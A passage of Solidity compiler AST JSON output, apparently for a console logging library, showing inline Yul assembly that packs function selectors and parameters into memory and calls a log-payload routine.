65676:3:22"},"nativeSrc":"265676:14:22","nodeType":"YulFunctionCall","src":"265676:14:22"},{"arguments":[{"name":"shift","nativeSrc":"265696:5:22","nodeType":"YulIdentifier","src":"265696:5:22"},{"arguments":[{"name":"shift","nativeSrc":"265707:5:22","nodeType":"YulIdentifier","src":"265707:5:22"},{"name":"w","nativeSrc":"265714:1:22","nodeType":"YulIdentifier","src":"265714:1:22"}],"functionName":{"name":"shr","nativeSrc":"265703:3:22","nodeType":"YulIdentifier","src":"265703:3:22"},"nativeSrc":"265703:13:22","nodeType":"YulFunctionCall","src":"265703:13:22"}],"functionName":{"name":"shl","nativeSrc":"265692:3:22","nodeType":"YulIdentifier","src":"265692:3:22"},"nativeSrc":"265692:25:22","nodeType":"YulFunctionCall","src":"265692:25:22"}],"functionName":{"name":"mstore","nativeSrc":"265669:6:22","nodeType":"YulIdentifier","src":"265669:6:22"},"nativeSrc":"265669:49:22","nodeType":"YulFunctionCall","src":"265669:49:22"},"nativeSrc":"265669:49:22","nodeType":"YulExpressionStatement","src":"265669:49:22"}]},"name":"writeString","nativeSrc":"265390:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"265411:3:22","nodeType":"YulTypedName","src":"265411:3:22","type":""},{"name":"w","nativeSrc":"265416:1:22","nodeType":"YulTypedName","src":"265416:1:22","type":""}],"src":"265390:342:22"},{"nativeSrc":"265745:17:22","nodeType":"YulAssignment","src":"265745:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"265757:4:22","nodeType":"YulLiteral","src":"265757:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"265751:5:22","nodeType":"YulIdentifier","src":"265751:5:22"},"nativeSrc":"265751:11:22","nodeType":"YulFunctionCall","src":"265751:11:22"},"variableNames":[{"name":"m0","nativeSrc":"265745:2:22","nodeType":"YulIdentifier","src":"265745:2:22"}]},{"nativeSrc":"265775:17:22","nodeType":"YulAssignment","src":"265775:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"265787:4:22","nodeType":"YulLiteral","src":"265787:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"265781:5:22","nodeType":"YulIdentifier","src":"265781:5:22"},"nativeSrc":"265781:11:22","nodeType":"YulFunctionCall","src":"265781:11:22"},"variableNames":[{"name":"m1","nativeSrc":"265775:2:22","nodeType":"YulIdentifier","src":"265775:2:22"}]},{"nativeSrc":"265805:17:22","nodeType":"YulAssignment","src":"265805:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"265817:4:22","nodeType":"YulLiteral","src":"265817:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"265811:5:22","nodeType":"YulIdentifier","src":"265811:5:22"},"nativeSrc":"265811:11:22","nodeType":"YulFunctionCall","src":"265811:11:22"},"variableNames":[{"name":"m2","nativeSrc":"265805:2:22","nodeType":"YulIdentifier","src":"265805:2:22"}]},{"nativeSrc":"265835:17:22","nodeType":"YulAssignment","src":"265835:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"265847:4:22","nodeType":"YulLiteral","src":"265847:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"265841:5:22","nodeType":"YulIdentifier","src":"265841:5:22"},"nativeSrc":"265841:11:22","nodeType":"YulFunctionCall","src":"265841:11:22"},"variableNames":[{"name":"m3","nativeSrc":"265835:2:22","nodeType":"YulIdentifier","src":"265835:2:22"}]},{"nativeSrc":"265865:17:22","nodeType":"YulAssignment","src":"265865:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"265877:4:22","nodeType":"YulLiteral","src":"265877:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"265871:5:22","nodeType":"YulIdentifier","src":"265871:5:22"},"nativeSrc":"265871:11:22","nodeType":"YulFunctionCall","src":"265871:11:22"},"variableNames":[{"name":"m4","nativeSrc":"265865:2:22","nodeType":"YulIdentifier","src":"265865:2:22"}]},{"nativeSrc":"265895:17:22","nodeType":"YulAssignment","src":"265895:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"265907:4:22","nodeType":"YulLiteral","src":"265907:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"265901:5:22","nodeType":"YulIdentifier","src":"265901:5:22"},"nativeSrc":"265901:11:22","nodeType":"YulFunctionCall","src":"265901:11:22"},"variableNames":[{"name":"m5","nativeSrc":"265895:2:22","nodeType":"YulIdentifier","src":"265895:2:22"}]},{"nativeSrc":"265925:17:22","nodeType":"YulAssignment","src":"265925:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"265937:4:22","nodeType":"YulLiteral","src":"265937:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"265931:5:22","nodeType":"YulIdentifier","src":"265931:5:22"},"nativeSrc":"265931:11:22","nodeType":"YulFunctionCall","src":"265931:11:22"},"variableNames":[{"name":"m6","nativeSrc":"265925:2:22","nodeType":"YulIdentifier","src":"265925:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"266028:4:22","nodeType":"YulLiteral","src":"266028:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"266034:10:22","nodeType":"YulLiteral","src":"266034:10:22","type":"","value":"0x6cde40b8"}],"functionName":{"name":"mstore","nativeSrc":"266021:6:22","nodeType":"YulIdentifier","src":"266021:6:22"},"nativeSrc":"266021:24:22","nodeType":"YulFunctionCall","src":"266021:24:22"},"nativeSrc":"266021:24:22","nodeType":"YulExpressionStatement","src":"266021:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"266065:4:22","nodeType":"YulLiteral","src":"266065:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"266071:2:22","nodeType":"YulIdentifier","src":"266071:2:22"}],"functionName":{"name":"mstore","nativeSrc":"266058:6:22","nodeType":"YulIdentifier","src":"266058:6:22"},"nativeSrc":"266058:16:22","nodeType":"YulFunctionCall","src":"266058:16:22"},"nativeSrc":"266058:16:22","nodeType":"YulExpressionStatement","src":"266058:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"266094:4:22","nodeType":"YulLiteral","src":"266094:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"266100:2:22","nodeType":"YulIdentifier","src":"266100:2:22"}],"functionName":{"name":"mstore","nativeSrc":"266087:6:22","nodeType":"YulIdentifier","src":"266087:6:22"},"nativeSrc":"266087:16:22","nodeType":"YulFunctionCall","src":"266087:16:22"},"nativeSrc":"266087:16:22","nodeType":"YulExpressionStatement","src":"266087:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"266123:4:22","nodeType":"YulLiteral","src":"266123:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"266129:2:22","nodeType":"YulIdentifier","src":"266129:2:22"}],"functionName":{"name":"mstore","nativeSrc":"266116:6:22","nodeType":"YulIdentifier","src":"266116:6:22"},"nativeSrc":"266116:16:22","nodeType":"YulFunctionCall","src":"266116:16:22"},"nativeSrc":"266116:16:22","nodeType":"YulExpressionStatement","src":"266116:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"266152:4:22","nodeType":"YulLiteral","src":"266152:4:22","type":"","value":"0x80"},{"kind":"number","nativeSrc":"266158:4:22","nodeType":"YulLiteral","src":"266158:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"266145:6:22","nodeType":"YulIdentifier","src":"266145:6:22"},"nativeSrc":"266145:18:22","nodeType":"YulFunctionCall","src":"266145:18:22"},"nativeSrc":"266145:18:22","nodeType":"YulExpressionStatement","src":"266145:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"266188:4:22","nodeType":"YulLiteral","src":"266188:4:22","type":"","value":"0xa0"},{"name":"p3","nativeSrc":"266194:2:22","nodeType":"YulIdentifier","src":"266194:2:22"}],"functionName":{"name":"writeString","nativeSrc":"266176:11:22","nodeType":"YulIdentifier","src":"266176:11:22"},"nativeSrc":"266176:21:22","nodeType":"YulFunctionCall","src":"266176:21:22"},"nativeSrc":"266176:21:22","nodeType":"YulExpressionStatement","src":"266176:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":42572,"isOffset":false,"isSlot":false,"src":"265745:2:22","valueSize":1},{"declaration":42575,"isOffset":false,"isSlot":false,"src":"265775:2:22","valueSize":1},{"declaration":42578,"isOffset":false,"isSlot":false,"src":"265805:2:22","valueSize":1},{"declaration":42581,"isOffset":false,"isSlot":false,"src":"265835:2:22","valueSize":1},{"declaration":42584,"isOffset":false,"isSlot":false,"src":"265865:2:22","valueSize":1},{"declaration":42587,"isOffset":false,"isSlot":false,"src":"265895:2:22","valueSize":1},{"declaration":42590,"isOffset":false,"isSlot":false,"src":"265925:2:22","valueSize":1},{"declaration":42562,"isOffset":false,"isSlot":false,"src":"266071:2:22","valueSize":1},{"declaration":42564,"isOffset":false,"isSlot":false,"src":"266100:2:22","valueSize":1},{"declaration":42566,"isOffset":false,"isSlot":false,"src":"266129:2:22","valueSize":1},{"declaration":42568,"isOffset":false,"isSlot":false,"src":"266194:2:22","valueSize":1}],"id":42592,"nodeType":"InlineAssembly","src":"265367:840:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":42594,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"266232:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":42595,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"266238:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":42593,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"266216:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":42596,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"266216:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":42597,"nodeType":"ExpressionStatement","src":"266216:27:22"},{"AST":{"nativeSrc":"266262:214:22","nodeType":"YulBlock","src":"266262:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"266283:4:22","nodeType":"YulLiteral","src":"266283:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"266289:2:22","nodeType":"YulIdentifier","src":"266289:2:22"}],"functionName":{"name":"mstore","nativeSrc":"266276:6:22","nodeType":"YulIdentifier","src":"266276:6:22"},"nativeSrc":"266276:16:22","nodeType":"YulFunctionCall","src":"266276:16:22"},"nativeSrc":"266276:16:22","nodeType":"YulExpressionStatement","src":"266276:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"266312:4:22","nodeType":"YulLiteral","src":"266312:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"266318:2:22","nodeType":"YulIdentifier","src":"266318:2:22"}],"functionName":{"name":"mstore","nativeSrc":"266305:6:22","nodeType":"YulIdentifier","src":"266305:6:22"},"nativeSrc":"266305:16:22","nodeType":"YulFunctionCall","src":"266305:16:22"},"nativeSrc":"266305:16:22","nodeType":"YulExpressionStatement","src":"266305:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"266341:4:22","nodeType":"YulLiteral","src":"266341:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"266347:2:22","nodeType":"YulIdentifier","src":"266347:2:22"}],"functionName":{"name":"mstore","nativeSrc":"266334:6:22","nodeType":"YulIdentifier","src":"266334:6:22"},"nativeSrc":"266334:16:22","nodeType":"YulFunctionCall","src":"266334:16:22"},"nativeSrc":"266334:16:22","nodeType":"YulExpressionStatement","src":"266334:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"266370:4:22","nodeType":"YulLiteral","src":"266370:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"266376:2:22","nodeType":"YulIdentifier","src":"266376:2:22"}],"functionName":{"name":"mstore","nativeSrc":"266363:6:22","nodeType":"YulIdentifier","src":"266363:6:22"},"nativeSrc":"266363:16:22","nodeType":"YulFunctionCall","src":"266363:16:22"},"nativeSrc":"266363:16:22","nodeType":"YulExpressionStatement","src":"266363:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"266399:4:22","nodeType":"YulLiteral","src":"266399:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"266405:2:22","nodeType":"YulIdentifier","src":"266405:2:22"}],"functionName":{"name":"mstore","nativeSrc":"266392:6:22","nodeType":"YulIdentifier","src":"266392:6:22"},"nativeSrc":"266392:16:22","nodeType":"YulFunctionCall","src":"266392:16:22"},"nativeSrc":"266392:16:22","nodeType":"YulExpressionStatement","src":"266392:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"266428:4:22","nodeType":"YulLiteral","src":"266428:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"266434:2:22","nodeType":"YulIdentifier","src":"266434:2:22"}],"functionName":{"name":"mstore","nativeSrc":"266421:6:22","nodeType":"YulIdentifier","src":"266421:6:22"},"nativeSrc":"266421:16:22","nodeType":"YulFunctionCall","src":"266421:16:22"},"nativeSrc":"266421:16:22","nodeType":"YulExpressionStatement","src":"266421:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"266457:4:22","nodeType":"YulLiteral","src":"266457:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"266463:2:22","nodeType":"YulIdentifier","src":"266463:2:22"}],"functionName":{"name":"mstore","nativeSrc":"266450:6:22","nodeType":"YulIdentifier","src":"266450:6:22"},"nativeSrc":"266450:16:22","nodeType":"YulFunctionCall","src":"266450:16:22"},"nativeSrc":"266450:16:22","nodeType":"YulExpressionStatement","src":"266450:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":42572,"isOffset":false,"isSlot":false,"src":"266289:2:22","valueSize":1},{"declaration":42575,"isOffset":false,"isSlot":false,"src":"266318:2:22","valueSize":1},{"declaration":42578,"isOffset":false,"isSlot":false,"src":"266347:2:22","valueSize":1},{"declaration":42581,"isOffset":false,"isSlot":false,"src":"266376:2:22","valueSize":1},{"declaration":42584,"isOffset":false,"isSlot":false,"src":"266405:2:22","valueSize":1},{"declaration":42587,"isOffset":false,"isSlot":false,"src":"266434:2:22","valueSize":1},{"declaration":42590,"isOffset":false,"isSlot":false,"src":"266463:2:22","valueSize":1}],"id":42598,"nodeType":"InlineAssembly","src":"266253:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"265151:3:22","parameters":{"id":42569,"nodeType":"ParameterList","parameters":[{"constant":false,"id":42562,"mutability":"mutable","name":"p0","nameLocation":"265163:2:22","nodeType":"VariableDeclaration","scope":42600,"src":"265155:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":42561,"name":"uint256","nodeType":"ElementaryTypeName","src":"265155:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":42564,"mutability":"mutable","name":"p1","nameLocation":"265175:2:22","nodeType":"VariableDeclaration","scope":42600,"src":"265167:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":42563,"name":"uint256","nodeType":"ElementaryTypeName","src":"265167:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":42566,"mutability":"mutable","name":"p2","nameLocation":"265187:2:22","nodeType":"VariableDeclaration","scope":42600,"src":"265179:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":42565,"name":"address","nodeType":"ElementaryTypeName","src":"265179:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":42568,"mutability":"mutable","name":"p3","nameLocation":"265199:2:22","nodeType":"VariableDeclaration","scope":42600,"src":"265191:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42567,"name":"bytes32","nodeType":"ElementaryTypeName","src":"265191:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"265154:48:22"},"returnParameters":{"id":42570,"nodeType":"ParameterList","parameters":[],"src":"265217:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":42634,"nodeType":"FunctionDefinition","src":"266488:786:22","nodes":[],"body":{"id":42633,"nodeType":"Block","src":"266560:714:22","nodes":[],"statements":[{"assignments":[42612],"declarations":[{"constant":false,"id":42612,"mutability":"mutable","name":"m0","nameLocation":"266578:2:22","nodeType":"VariableDeclaration","scope":42633,"src":"266570:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42611,"name":"bytes32","nodeType":"ElementaryTypeName","src":"266570:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42613,"nodeType":"VariableDeclarationStatement","src":"266570:10:22"},{"assignments":[42615],"declarations":[{"constant":false,"id":42615,"mutability":"mutable","name":"m1","nameLocation":"266598:2:22","nodeType":"VariableDeclaration","scope":42633,"src":"266590:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42614,"name":"bytes32","nodeType":"ElementaryTypeName","src":"266590:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42616,"nodeType":"VariableDeclarationStatement","src":"266590:10:22"},{"assignments":[42618],"declarations":[{"constant":false,"id":42618,"mutability":"mutable","name":"m2","nameLocation":"266618:2:22","nodeType":"VariableDeclaration","scope":42633,"src":"266610:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42617,"name":"bytes32","nodeType":"ElementaryTypeName","src":"266610:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42619,"nodeType":"VariableDeclarationStatement","src":"266610:10:22"},{"assignments":[42621],"declarations":[{"constant":false,"id":42621,"mutability":"mutable","name":"m3","nameLocation":"266638:2:22","nodeType":"VariableDeclaration","scope":42633,"src":"266630:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42620,"name":"bytes32","nodeType":"ElementaryTypeName","src":"266630:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42622,"nodeType":"VariableDeclarationStatement","src":"266630:10:22"},{"assignments":[42624],"declarations":[{"constant":false,"id":42624,"mutability":"mutable","name":"m4","nameLocation":"266658:2:22","nodeType":"VariableDeclaration","scope":42633,"src":"266650:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42623,"name":"bytes32","nodeType":"ElementaryTypeName","src":"266650:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42625,"nodeType":"VariableDeclarationStatement","src":"266650:10:22"},{"AST":{"nativeSrc":"266679:378:22","nodeType":"YulBlock","src":"266679:378:22","statements":[{"nativeSrc":"266693:17:22","nodeType":"YulAssignment","src":"266693:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"266705:4:22","nodeType":"YulLiteral","src":"266705:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"266699:5:22","nodeType":"YulIdentifier","src":"266699:5:22"},"nativeSrc":"266699:11:22","nodeType":"YulFunctionCall","src":"266699:11:22"},"variableNames":[{"name":"m0","nativeSrc":"266693:2:22","nodeType":"YulIdentifier","src":"266693:2:22"}]},{"nativeSrc":"266723:17:22","nodeType":"YulAssignment","src":"266723:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"266735:4:22","nodeType":"YulLiteral","src":"266735:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"266729:5:22","nodeType":"YulIdentifier","src":"266729:5:22"},"nativeSrc":"266729:11:22","nodeType":"YulFunctionCall","src":"266729:11:22"},"variableNames":[{"name":"m1","nativeSrc":"266723:2:22","nodeType":"YulIdentifier","src":"266723:2:22"}]},{"nativeSrc":"266753:17:22","nodeType":"YulAssignment","src":"266753:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"266765:4:22","nodeType":"YulLiteral","src":"266765:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"266759:5:22","nodeType":"YulIdentifier","src":"266759:5:22"},"nativeSrc":"266759:11:22","nodeType":"YulFunctionCall","src":"266759:11:22"},"variableNames":[{"name":"m2","nativeSrc":"266753:2:22","nodeType":"YulIdentifier","src":"266753:2:22"}]},{"nativeSrc":"266783:17:22","nodeType":"YulAssignment","src":"266783:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"266795:4:22","nodeType":"YulLiteral","src":"266795:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"266789:5:22","nodeType":"YulIdentifier","src":"266789:5:22"},"nativeSrc":"266789:11:22","nodeType":"YulFunctionCall","src":"266789:11:22"},"variableNames":[{"name":"m3","nativeSrc":"266783:2:22","nodeType":"YulIdentifier","src":"266783:2:22"}]},{"nativeSrc":"266813:17:22","nodeType":"YulAssignment","src":"266813:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"266825:4:22","nodeType":"YulLiteral","src":"266825:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"266819:5:22","nodeType":"YulIdentifier","src":"266819:5:22"},"nativeSrc":"266819:11:22","nodeType":"YulFunctionCall","src":"266819:11:22"},"variableNames":[{"name":"m4","nativeSrc":"266813:2:22","nodeType":"YulIdentifier","src":"266813:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"266914:4:22","nodeType":"YulLiteral","src":"266914:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"266920:10:22","nodeType":"YulLiteral","src":"266920:10:22","type":"","value":"0x9a816a83"}],"functionName":{"name":"mstore","nativeSrc":"266907:6:22","nodeType":"YulIdentifier","src":"266907:6:22"},"nativeSrc":"266907:24:22","nodeType":"YulFunctionCall","src":"266907:24:22"},"nativeSrc":"266907:24:22","nodeType":"YulExpressionStatement","src":"266907:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"266951:4:22","nodeType":"YulLiteral","src":"266951:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"266957:2:22","nodeType":"YulIdentifier","src":"266957:2:22"}],"functionName":{"name":"mstore","nativeSrc":"266944:6:22","nodeType":"YulIdentifier","src":"266944:6:22"},"nativeSrc":"266944:16:22","nodeType":"YulFunctionCall","src":"266944:16:22"},"nativeSrc":"266944:16:22","nodeType":"YulExpressionStatement","src":"266944:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"266980:4:22","nodeType":"YulLiteral","src":"266980:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"266986:2:22","nodeType":"YulIdentifier","src":"266986:2:22"}],"functionName":{"name":"mstore","nativeSrc":"266973:6:22","nodeType":"YulIdentifier","src":"266973:6:22"},"nativeSrc":"266973:16:22","nodeType":"YulFunctionCall","src":"266973:16:22"},"nativeSrc":"266973:16:22","nodeType":"YulExpressionStatement","src":"266973:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"267009:4:22","nodeType":"YulLiteral","src":"267009:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"267015:2:22","nodeType":"YulIdentifier","src":"267015:2:22"}],"functionName":{"name":"mstore","nativeSrc":"267002:6:22","nodeType":"YulIdentifier","src":"267002:6:22"},"nativeSrc":"267002:16:22","nodeType":"YulFunctionCall","src":"267002:16:22"},"nativeSrc":"267002:16:22","nodeType":"YulExpressionStatement","src":"267002:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"267038:4:22","nodeType":"YulLiteral","src":"267038:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"267044:2:22","nodeType":"YulIdentifier","src":"267044:2:22"}],"functionName":{"name":"mstore","nativeSrc":"267031:6:22","nodeType":"YulIdentifier","src":"267031:6:22"},"nativeSrc":"267031:16:22","nodeType":"YulFunctionCall","src":"267031:16:22"},"nativeSrc":"267031:16:22","nodeType":"YulExpressionStatement","src":"267031:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":42612,"isOffset":false,"isSlot":false,"src":"266693:2:22","valueSize":1},{"declaration":42615,"isOffset":false,"isSlot":false,"src":"266723:2:22","valueSize":1},{"declaration":42618,"isOffset":false,"isSlot":false,"src":"266753:2:22","valueSize":1},{"declaration":42621,"isOffset":false,"isSlot":false,"src":"266783:2:22","valueSize":1},{"declaration":42624,"isOffset":false,"isSlot":false,"src":"266813:2:22","valueSize":1},{"declaration":42602,"isOffset":false,"isSlot":false,"src":"266957:2:22","valueSize":1},{"declaration":42604,"isOffset":false,"isSlot":false,"src":"266986:2:22","valueSize":1},{"declaration":42606,"isOffset":false,"isSlot":false,"src":"267015:2:22","valueSize":1},{"declaration":42608,"isOffset":false,"isSlot":false,"src":"267044:2:22","valueSize":1}],"id":42626,"nodeType":"InlineAssembly","src":"266670:387:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":42628,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"267082:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783834","id":42629,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"267088:4:22","typeDescriptions":{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"},"value":"0x84"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"}],"id":42627,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"267066:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":42630,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"267066:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":42631,"nodeType":"ExpressionStatement","src":"267066:27:22"},{"AST":{"nativeSrc":"267112:156:22","nodeType":"YulBlock","src":"267112:156:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"267133:4:22","nodeType":"YulLiteral","src":"267133:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"267139:2:22","nodeType":"YulIdentifier","src":"267139:2:22"}],"functionName":{"name":"mstore","nativeSrc":"267126:6:22","nodeType":"YulIdentifier","src":"267126:6:22"},"nativeSrc":"267126:16:22","nodeType":"YulFunctionCall","src":"267126:16:22"},"nativeSrc":"267126:16:22","nodeType":"YulExpressionStatement","src":"267126:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"267162:4:22","nodeType":"YulLiteral","src":"267162:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"267168:2:22","nodeType":"YulIdentifier","src":"267168:2:22"}],"functionName":{"name":"mstore","nativeSrc":"267155:6:22","nodeType":"YulIdentifier","src":"267155:6:22"},"nativeSrc":"267155:16:22","nodeType":"YulFunctionCall","src":"267155:16:22"},"nativeSrc":"267155:16:22","nodeType":"YulExpressionStatement","src":"267155:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"267191:4:22","nodeType":"YulLiteral","src":"267191:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"267197:2:22","nodeType":"YulIdentifier","src":"267197:2:22"}],"functionName":{"name":"mstore","nativeSrc":"267184:6:22","nodeType":"YulIdentifier","src":"267184:6:22"},"nativeSrc":"267184:16:22","nodeType":"YulFunctionCall","src":"267184:16:22"},"nativeSrc":"267184:16:22","nodeType":"YulExpressionStatement","src":"267184:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"267220:4:22","nodeType":"YulLiteral","src":"267220:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"267226:2:22","nodeType":"YulIdentifier","src":"267226:2:22"}],"functionName":{"name":"mstore","nativeSrc":"267213:6:22","nodeType":"YulIdentifier","src":"267213:6:22"},"nativeSrc":"267213:16:22","nodeType":"YulFunctionCall","src":"267213:16:22"},"nativeSrc":"267213:16:22","nodeType":"YulExpressionStatement","src":"267213:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"267249:4:22","nodeType":"YulLiteral","src":"267249:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"267255:2:22","nodeType":"YulIdentifier","src":"267255:2:22"}],"functionName":{"name":"mstore","nativeSrc":"267242:6:22","nodeType":"